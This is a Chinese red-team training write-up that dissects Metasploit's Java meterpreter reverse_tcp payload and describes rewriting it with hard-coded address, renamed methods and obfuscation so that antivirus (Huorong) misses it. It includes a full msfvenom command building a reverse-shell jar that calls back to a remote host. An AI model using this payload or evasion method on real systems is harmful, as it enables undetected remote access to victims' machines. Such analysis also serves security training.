
文章来源|MS08067 红队培训班 第5期
本文作者:aeqaq(红队培训班5期学员)
目标:
分析msf meterpreter java马的原理,然后自己写一个保留了核心逻辑的,来达到免杀效果。
msf6 > use java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx LPORT=4444 W >text.jar
也可以把jar包直接拖到idea里
MAINFEST.MF
jar包的签名文件,在里面找到加载入口类metasploit/Payload.class

metasploit.dat文件

里面存储了服务器端设置的ip和端口,还有一个Spawn参数
跟进到主类Payload进行分析,直接看main方法
最开始是一些读取文件和数据

接下来是做了一个文件的生成和删除,因为在metasploit.dat中,没有Executable这个属性,所以可以跳过

接下来是进入这个if判断,第一次的时候i==2,详细的在注释里面,因为代码水平较差,所以基本上每一步都解释了
这里主要是递归,创建了自己并且执行,然后把创建的都删了(i>0)的时候,就是Spawn参数>0的时候,是为了逃避杀软分析内存调用

下面一个else if应该是跳过的,看最后一个else,也就是i<=0的时候


核心:在这里执行字节码

思路:
保留关键步骤,删去不必要的步骤,添加混淆步骤
在局域网进行测试
主要就是socket的建立和bootstrap方法保留下来
尝试方法:
1.写死ip和端口
2.添加混淆方法
3.更换方法,参数名字
尝试初期:总是timeout
Exception in thread "main" java.net.ConnectException: Connection timed out: connect
需要配合服务器端的msf监听器,去在Properties里把他设置的和msf端一样


火绒没报毒

回连正常

本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!